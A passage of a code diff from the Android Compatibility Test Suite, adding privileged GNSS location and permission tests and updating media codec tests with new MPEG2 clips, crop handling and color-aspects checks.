+    private static final int LOCATION_TO_COLLECT_COUNT = 5;
+    private TestLocationListener mLocationListener;
+    // TODO(b/65458848): Re-tighten the limit to 0.001 when sufficient devices in the market comply
+    private static final double MINIMUM_SPEED_FOR_BEARING = 1.000;
+    private static final int MIN_ANDROID_SDK_VERSION_REQUIRED = Build.VERSION_CODES.O;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+        mTestLocationManager = new TestLocationManager(getContext());
+        mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+        super.tearDown();
+    }
+
+    /**
+     * 1. Get GNSS locations in low power mode.
+     * 2. Check whether all fields' value make sense.
+     */
+    public void testLowPowerModeGnssLocation() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(MIN_ANDROID_SDK_VERSION_REQUIRED,
+                mTestLocationManager, TAG)) {
+            return;
+        }
+        mTestLocationManager.requestLowPowerModeGnssLocationUpdates(5000, mLocationListener);
+
+        waitAndValidateLocation();
+    }
+
+    private void waitAndValidateLocation() throws InterruptedException {
+        boolean success = mLocationListener.await();
+        SoftAssert softAssert = new SoftAssert(TAG);
+        softAssert.assertTrue(
+                "Time elapsed without getting the GNSS locations."
+                        + " Possibly, the test has been run deep indoors."
+                        + " Consider retrying test outdoors.",
+                success);
+
+        // don't check speed of first GNSS location - it may not be ready in some cases
+        boolean checkSpeed = false;
+        for (Location location : mLocationListener.getReceivedLocationList()) {
+            checkLocationRegularFields(softAssert, location, checkSpeed);
+            checkSpeed = true;
+        }
+
+        softAssert.assertAll();
+    }
+
+    private static void checkLocationRegularFields(SoftAssert softAssert, Location location,
+            boolean checkSpeed) {
+        // For the altitude: the unit is meter
+        // The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
+        // Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
+
+        softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+                + "must have altitudes.", location.hasAltitude());
+        if (location.hasAltitude()) {
+            softAssert.assertTrue("Altitude should be greater than -500 (meters).",
+                    location.getAltitude() >= -500);
+            softAssert.assertTrue("Altitude should be less than 6000 (meters).",
+                    location.getAltitude() < 6000);
+        }
+
+        // It is guaranteed to be in the range [0.0, 360.0] if the device has a bearing.
+        // The API will return 0.0 if there is no bearing
+        if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
+            softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
+                    + "the LocationManager must have bearings.", location.hasBearing());
+            if (location.hasBearing()) {
+                softAssert.assertTrue("Bearing should be in the range of [0.0, 360.0]",
+                        location.getBearing() >= 0 && location.getBearing() <= 360);
+            }
+        }
+
+        softAssert.assertTrue("ElapsedRaltimeNanos should be great than 0.",
+                location.getElapsedRealtimeNanos() > 0);
+
+        assertEquals("gps", location.getProvider());
+        assertTrue(location.getTime() > 0);
+
+        softAssert.assertTrue("Longitude should be in the range of [-180.0, 180.0] degrees",
+                location.getLongitude() >= -180 && location.getLongitude() <= 180);
+
+        softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
+                location.getLatitude() >= -90 && location.getLatitude() <= 90);
+
+        if (checkSpeed) {
+            softAssert.assertTrue("All but the first GNSS location from LocationManager "
+                    + "must have speeds.", location.hasSpeed());
+        }
+
+        // For the speed, during the cts test device shouldn't move faster than 1m/s, but
+        // allowing up to 5m/s for possible early fix noise in moderate signal test environments.
+        if (location.hasSpeed()) {
+            softAssert.assertTrue(
+                    "In the test environment, speed should be in the range of [0, 5] m/s",
+                    location.getSpeed() >= 0 && location.getSpeed() <= 5);
+        }
+    }
+}
+
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
new file mode 100644
index 0000000..a6e2021
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.privileged;
+
+import android.Manifest;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssRequest;
+import android.location.Location;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.os.Build;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.List;
+
+/**
+ * Test for {@link GnssMeasurementsEvent.Callback} registration.
+ *
+ * Test steps:
+ * 1. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
+ *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will fail and because one of
+ *    the following reasons:
+ *          2.1 the device does not support the feature,
+ *          2.2 Location or GPS is disabled in the device.
+ * 3. If at least one {@link GnssMeasurementsEvent} is received, the test will pass.
+ * 4. If no {@link GnssMeasurementsEvent} are received, then check if the device can receive
+ *    measurements only when {@link Location} is requested. This is done by performing the following
+ *    steps:
+ *          4.1 Register for location updates.
+ *          4.2 Wait for {@link TestLocationListener#onLocationChanged(Location)}}.
+ *          4.3 If at least one {@link GnssMeasurementsEvent} is received, the test will pass.
+ *          4.4 If no {@link Location} is received this will mean that the device is located
+ *              indoor. If we receive a {@link Location}, it mean that
+ *              {@link GnssMeasurementsEvent}s are provided only if the application registers for
+ *              location updates as well.
+ */
+public class GnssMeasurementRegistrationTest extends GnssTestCase {
+
+    private static final String TAG = "GnssMeasRegTest";
+    private static final int EVENTS_COUNT = 5;
+    private static final int GPS_EVENTS_COUNT = 1;
+    private TestLocationListener mLocationListener;
+    private TestGnssMeasurementListener mMeasurementListener;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+        mTestLocationManager = new TestLocationManager(getContext());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        if (mMeasurementListener != null) {
+            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+        super.tearDown();
+    }
+
+    /**
+     * Test GPS measurements registration with full tracking enabled.
+     */
+    public void testGnssMeasurementRegistration_enableFullTracking() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.R,
+                mTestLocationManager,
+                TAG)) {
+            return;
+        }
+
+        // Register for GPS measurements.
+        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+                new GnssRequest.Builder().setFullTracking(true).build());
+
+        mMeasurementListener.await();
+        if (!mMeasurementListener.verifyStatus()) {
+            // If test is strict verifyStatus will assert conditions are good for further testing.
+            // Else this returns false and, we arrive here, and then return from here (pass.)
+            return;
+        }
+
+        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+        Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
+
+        if (!events.isEmpty()) {
+            // Test passes if we get at least 1 pseudorange.
+            Log.i(TAG, "Received GPS measurements. Test Pass.");
+            return;
+        }
+
+        SoftAssert.failAsWarning(
+                TAG,
+                "GPS measurements were not received without registering for location updates. "
+                        + "Trying again with Location request.");
+
+        // Register for location updates.
+        mLocationListener = new TestLocationListener(EVENTS_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        // Wait for location updates
+        mLocationListener.await();
+        Log.i(TAG, "Location received = " + mLocationListener.isLocationReceived());
+
+        events = mMeasurementListener.getEvents();
+        Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        softAssert.assertTrue(
+                "Did not receive any GnssMeasurement events.  Retry outdoors?",
+                !events.isEmpty());
+        softAssert.assertAll();
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/PrivilegedLocationPermissionTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/PrivilegedLocationPermissionTest.java
new file mode 100644
index 0000000..97c3909
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/PrivilegedLocationPermissionTest.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.privileged;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.LocationManager;
+import android.os.Build.VERSION;
+import android.os.Build.VERSION_CODES;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+@RunWith(AndroidJUnit4.class)
+public class PrivilegedLocationPermissionTest {
+
+    private Context mContext;
+    private LocationManager mLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        mLocationManager = mContext.getSystemService(LocationManager.class);
+        assertNotNull(mLocationManager);
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testExtraLocationControllerPackage() {
+        // Extra location controller API is only available after Q.
+        if (VERSION.SDK_INT < VERSION_CODES.Q) {
+            return;
+        }
+        String originalPackageName = mLocationManager.getExtraLocationControllerPackage();
+        boolean originalPackageEnabeld = mLocationManager.isExtraLocationControllerPackageEnabled();
+
+        // Test setting extra location controller package.
+        String packageName = mContext.getPackageName();
+        mLocationManager.setExtraLocationControllerPackage(packageName);
+        assertWithMessage("Extra location controller package").that(
+                mLocationManager.getExtraLocationControllerPackage()).isEqualTo(packageName);
+
+        // Test enabling extra location controller package.
+        mLocationManager.setExtraLocationControllerPackageEnabled(!originalPackageEnabeld);
+        assertWithMessage("Extra location controller package enabled").that(
+                mLocationManager.isExtraLocationControllerPackageEnabled()).isEqualTo(
+                !originalPackageEnabeld);
+
+        // Reset the original extra location controller package.
+        mLocationManager.setExtraLocationControllerPackage(originalPackageName);
+        mLocationManager.setExtraLocationControllerPackageEnabled(originalPackageEnabeld);
+    }
+}
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index ccf41c7..a618ac0 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -25,7 +25,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaV2TestCases" />
+        <option name="media-folder-name" value="CtsMediaV2TestCases-1.2" />
         <option name="dynamic-config-module" value="CtsMediaV2TestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 3414847..384d3d7 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,6 +1,6 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.2.zip</value>
     </entry>
 </dynamicConfig>
 
diff --git a/tests/media/jni/NativeCodecTestBase.cpp b/tests/media/jni/NativeCodecTestBase.cpp
index 750abe6..b07c1c3 100644
--- a/tests/media/jni/NativeCodecTestBase.cpp
+++ b/tests/media/jni/NativeCodecTestBase.cpp
@@ -528,10 +528,11 @@
 
 int CodecTestBase::getWidth(AMediaFormat* format) {
     int width = -1;
-    int cropLeft, cropRight;
+    int cropLeft, cropRight, cropTop, cropBottom;
     AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_WIDTH, &width);
-    if (AMediaFormat_getInt32(format, "crop-left", &cropLeft) &&
-        AMediaFormat_getInt32(format, "crop-right", &cropRight)) {
+    if (AMediaFormat_getRect(format, "crop", &cropLeft, &cropTop, &cropRight, &cropBottom) ||
+        (AMediaFormat_getInt32(format, "crop-left", &cropLeft) &&
+        AMediaFormat_getInt32(format, "crop-right", &cropRight))) {
         width = cropRight + 1 - cropLeft;
     }
     return width;
@@ -539,10 +540,11 @@
 
 int CodecTestBase::getHeight(AMediaFormat* format) {
     int height = -1;
-    int cropTop, cropBottom;
+    int cropLeft, cropRight, cropTop, cropBottom;
     AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_HEIGHT, &height);
-    if (AMediaFormat_getInt32(format, "crop-top", &cropTop) &&
-        AMediaFormat_getInt32(format, "crop-bottom", &cropBottom)) {
+    if (AMediaFormat_getRect(format, "crop", &cropLeft, &cropTop, &cropRight, &cropBottom) ||
+        (AMediaFormat_getInt32(format, "crop-top", &cropTop) &&
+        AMediaFormat_getInt32(format, "crop-bottom", &cropBottom))) {
         height = cropBottom + 1 - cropTop;
     }
     return height;
diff --git a/tests/media/jni/NativeMuxerTest.cpp b/tests/media/jni/NativeMuxerTest.cpp
index b4e7858..56f2ba8 100644
--- a/tests/media/jni/NativeMuxerTest.cpp
+++ b/tests/media/jni/NativeMuxerTest.cpp
@@ -280,7 +280,8 @@
                 if (!isCSDIdentical(thisFormat, thatFormat)) continue;
                 if (mBufferInfo[i].size() == that->mBufferInfo[j].size()) {
                     int tolerance =
-                            strncmp(thisMime, "video/", strlen("video/")) ? 0 : STTS_TOLERANCE_US;
+                            !strncmp(thisMime, "video/", strlen("video/")) ? STTS_TOLERANCE_US : 0;
+                    tolerance += 1; // rounding error
                     int k = 0;
                     for (; k < mBufferInfo[i].size(); k++) {
                         AMediaCodecBufferInfo* thisInfo = mBufferInfo[i][k];
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderExtTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderExtTest.java
index e57b3e7..51a83ef 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderExtTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderExtTest.java
@@ -29,6 +29,9 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
 
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -46,7 +49,7 @@
 
     @Parameterized.Parameters(name = "{index}({0})")
     public static Collection<Object[]> input() {
-        return Arrays.asList(new Object[][]{
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 {MediaFormat.MIMETYPE_VIDEO_VP9,
                         //show and no-show frames are sent as separate inputs
                         "bbb_340x280_768kbps_30fps_split_non_display_frame_vp9.webm",
@@ -57,7 +60,25 @@
                         "bbb_520x390_1mbps_30fps_split_non_display_frame_vp9.webm",
                         //show and no-show frames are sent as one input
                         "bbb_520x390_1mbps_30fps_vp9.webm"},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG2,
+                        //show and no-show frames are sent as separate inputs
+                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_1field.ts",
+                        //show and no-show frames are sent as one input
+                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_2fields.mp4"},
         });
+
+        Set<String> list = new HashSet<>();
+        if (isHandheld() || isTv() || isAutomotive()) {
+            // sec 2.2.2, 2.3.2, 2.5.2
+            list.add(MediaFormat.MIMETYPE_VIDEO_VP9);
+        }
+        if (isTv()) {
+            // sec 2.3.2
+            list.add(MediaFormat.MIMETYPE_VIDEO_MPEG2);
+        }
+        ArrayList<String> cddRequiredMimeList = new ArrayList<>(list);
+
+        return prepareParamList(cddRequiredMimeList, exhaustiveArgsList, false);
     }
 
     /**
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index 58d83c9..096b5c1 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -150,6 +150,12 @@
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 {MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_340x280_768kbps_30fps_mpeg2.mp4",
                         "bbb_520x390_1mbps_30fps_mpeg2.mp4"},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG2,
+                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_2fields.mp4",
+                        "bbb_520x390_1mbps_30fps_mpeg2.mp4"},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG2,
+                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_1field.ts",
+                        "bbb_520x390_1mbps_30fps_mpeg2.mp4"},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_340x280_768kbps_30fps_avc.mp4",
                         "bbb_520x390_1mbps_30fps_avc.mp4"},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_360x640_768kbps_30fps_avc.mp4",
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
index 1daf63f..30ddd29 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
@@ -104,7 +104,13 @@
             MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
             info.offset = offset;
             info.presentationTimeUs = pts;
-            info.flags = flags;
+            info.flags = 0;
+            if ((flags & MediaExtractor.SAMPLE_FLAG_SYNC) != 0) {
+                info.flags |= MediaCodec.BUFFER_FLAG_KEY_FRAME;
+            }
+            if ((flags & MediaExtractor.SAMPLE_FLAG_PARTIAL_FRAME) != 0) {
+                info.flags |= MediaCodec.BUFFER_FLAG_PARTIAL_FRAME;
+            }
             if (i != sfCount - 1) {
                 info.size = size / sfCount;
                 info.flags |= MediaExtractor.SAMPLE_FLAG_PARTIAL_FRAME;
@@ -190,6 +196,12 @@
                         "bbb_1ch_8kHz_s16le.raw", "bbb_2ch_44kHz_aac.mp4", -1.0f},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_340x280_768kbps_30fps_mpeg2.mp4", null,
                         "bbb_520x390_1mbps_30fps_mpeg2.mp4", -1.0f},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG2,
+                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_2fields.mp4", null,
+                        "bbb_520x390_1mbps_30fps_mpeg2.mp4", -1.0f},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG2,
+                        "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_1field.ts", null,
+                        "bbb_520x390_1mbps_30fps_mpeg2.mp4", -1.0f},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_340x280_768kbps_30fps_avc.mp4", null,
                         "bbb_520x390_1mbps_30fps_avc.mp4", -1.0f},
                 {MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_520x390_1mbps_30fps_hevc.mp4", null,
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
index 180e063..f2501c0 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
@@ -124,7 +124,7 @@
                 if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q && codecInfo.isAlias()) continue;
                 String[] types = codecInfo.getSupportedTypes();
                 for (String type : types) {
-                    if (!mimes.contains(type)) {
+                    if (!mimes.contains(type) && type.startsWith("video/")) {
                         mimes.add(type);
                     }
                 }
@@ -496,7 +496,6 @@
                 configureCodec(decoderFormat, encoderFormat, isAsync, false);
                 mEncoder.start();
                 mDecoder.start();
-                MediaFormat inputFormat = mDecoder.getInputFormat();
                 doWork(Integer.MAX_VALUE);
                 queueEOS();
                 waitForAllEncoderOutputs();
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
index 79d8f20..2d9da22 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
@@ -16,29 +16,22 @@
 
 package android.mediav2.cts;
 
-import android.graphics.ImageFormat;
-import android.media.Image;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaFormat;
 import android.os.Bundle;
-import android.os.PersistableBundle;
 import android.util.Log;
 
 import androidx.test.filters.LargeTest;
 import androidx.test.filters.SmallTest;
 
-import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
-import java.io.File;
-import java.io.FileInputStream;
 import java.io.IOException;
-import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
@@ -94,9 +87,9 @@
 
     void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
         if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_KEY_FRAME) != 0) {
-                mNumSyncFramesReceived += 1;
-                mSyncFramesPos.add(mOutputCount);
-            }
+            mNumSyncFramesReceived += 1;
+            mSyncFramesPos.add(mOutputCount);
+        }
         super.dequeueOutput(bufferIndex, info);
     }
 
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 1086981..a47ede1 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -53,6 +53,7 @@
 import java.util.zip.CRC32;
 
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -378,6 +379,10 @@
         memIndex = index;
     }
 
+    ByteBuffer getBuffer() {
+        return ByteBuffer.wrap(memory);
+    }
+
     void reset() {
         position(0);
         crc32List.clear();
@@ -824,6 +829,15 @@
         assertTrue(metrics.getInt(MediaCodec.MetricsConstants.SECURE) == 0);
         return metrics;
     }
+
+    void validateColorAspects(MediaFormat fmt, int range, int standard, int transfer) {
+        int colorRange = fmt.getInteger(MediaFormat.KEY_COLOR_RANGE, 0);
+        int colorStandard = fmt.getInteger(MediaFormat.KEY_COLOR_STANDARD, 0);
+        int colorTransfer = fmt.getInteger(MediaFormat.KEY_COLOR_TRANSFER, 0);
+        assertEquals("range mismatch ", range, colorRange);
+        assertEquals("color mismatch ", standard, colorStandard);
+        assertEquals("transfer mismatch ", transfer, colorTransfer);
+    }
 }
 
 class CodecDecoderTestBase extends CodecTestBase {
@@ -846,8 +860,12 @@
     }
 
     MediaFormat setUpSource(String srcFile) throws IOException {
+        return setUpSource(mInpPrefix, srcFile);
+    }
+
+    MediaFormat setUpSource(String prefix, String srcFile) throws IOException {
         mExtractor = new MediaExtractor();
-        mExtractor.setDataSource(mInpPrefix + srcFile);
+        mExtractor.setDataSource(prefix + srcFile);
         for (int trackID = 0; trackID < mExtractor.getTrackCount(); trackID++) {
             MediaFormat format = mExtractor.getTrackFormat(trackID);
             if (mMime.equalsIgnoreCase(format.getString(MediaFormat.KEY_MIME))) {
@@ -914,22 +932,18 @@
 
     void enqueueInput(int bufferIndex, ByteBuffer buffer, MediaCodec.BufferInfo info) {
         ByteBuffer inputBuffer = mCodec.getInputBuffer(bufferIndex);
-        inputBuffer.put((ByteBuffer) buffer.rewind());
-        int flags = 0;
-        if ((info.flags & MediaExtractor.SAMPLE_FLAG_SYNC) != 0) {
-            flags |= MediaCodec.BUFFER_FLAG_KEY_FRAME;
-        }
-        if ((info.flags & MediaExtractor.SAMPLE_FLAG_PARTIAL_FRAME) != 0) {
-            flags |= MediaCodec.BUFFER_FLAG_PARTIAL_FRAME;
+        buffer.position(info.offset);
+        for (int i = 0; i < info.size; i++) {
+            inputBuffer.put(buffer.get());
         }
         if (ENABLE_LOGS) {
             Log.v(LOG_TAG, "input: id: " + bufferIndex + " flags: " + info.flags + " size: " +
                     info.size + " timestamp: " + info.presentationTimeUs);
         }
-        mCodec.queueInputBuffer(bufferIndex, info.offset, info.size, info.presentationTimeUs,
-                flags);
-        if (info.size > 0 && ((flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) &&
-                ((flags & MediaCodec.BUFFER_FLAG_PARTIAL_FRAME) == 0)) {
+        mCodec.queueInputBuffer(bufferIndex, 0, info.size, info.presentationTimeUs,
+                info.flags);
+        if (info.size > 0 && ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) &&
+                ((info.flags & MediaCodec.BUFFER_FLAG_PARTIAL_FRAME) == 0)) {
             mOutputBuff.saveInPTS(info.presentationTimeUs);
             mInputCount++;
         }
@@ -1044,6 +1058,45 @@
         assertTrue(metrics.getInt(MediaCodec.MetricsConstants.ENCODER) == 0);
         return metrics;
     }
+
+    void validateColorAspects(String decoder, String parent, String name, int range, int standard,
+            int transfer) throws IOException, InterruptedException {
+        mOutputBuff = new OutputManager();
+        MediaFormat format = setUpSource(parent, name);
+        if (decoder == null) {
+            MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            decoder = codecList.findDecoderForFormat(format);
+        }
+        mCodec = MediaCodec.createByCodecName(decoder);
+        configureCodec(format, true, true, false);
+        mCodec.start();
+        doWork(1);
+        queueEOS();
+        waitForAllOutputs();
+        validateColorAspects(mCodec.getOutputFormat(), range, standard, transfer);
+        mCodec.stop();
+        mCodec.release();
+        mExtractor.release();
+    }
+
+    void validateColorAspects(String decoder, MediaFormat format, ByteBuffer buffer,
+            ArrayList<MediaCodec.BufferInfo> infos, int range, int standard, int transfer)
+            throws IOException, InterruptedException {
+        mOutputBuff = new OutputManager();
+        if (decoder == null) {
+            MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            decoder = codecList.findDecoderForFormat(format);
+        }
+        mCodec = MediaCodec.createByCodecName(decoder);
+        configureCodec(format, true, true, false);
+        mCodec.start();
+        doWork(buffer, infos);
+        queueEOS();
+        waitForAllOutputs();
+        validateColorAspects(mCodec.getOutputFormat(), range, standard, transfer);
+        mCodec.stop();
+        mCodec.release();
+    }
 }
 
 class CodecEncoderTestBase extends CodecTestBase {
@@ -1274,5 +1327,3 @@
         return metrics;
     }
 }
-
-
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
new file mode 100644
index 0000000..4185d7c
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.os.Build;
+import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
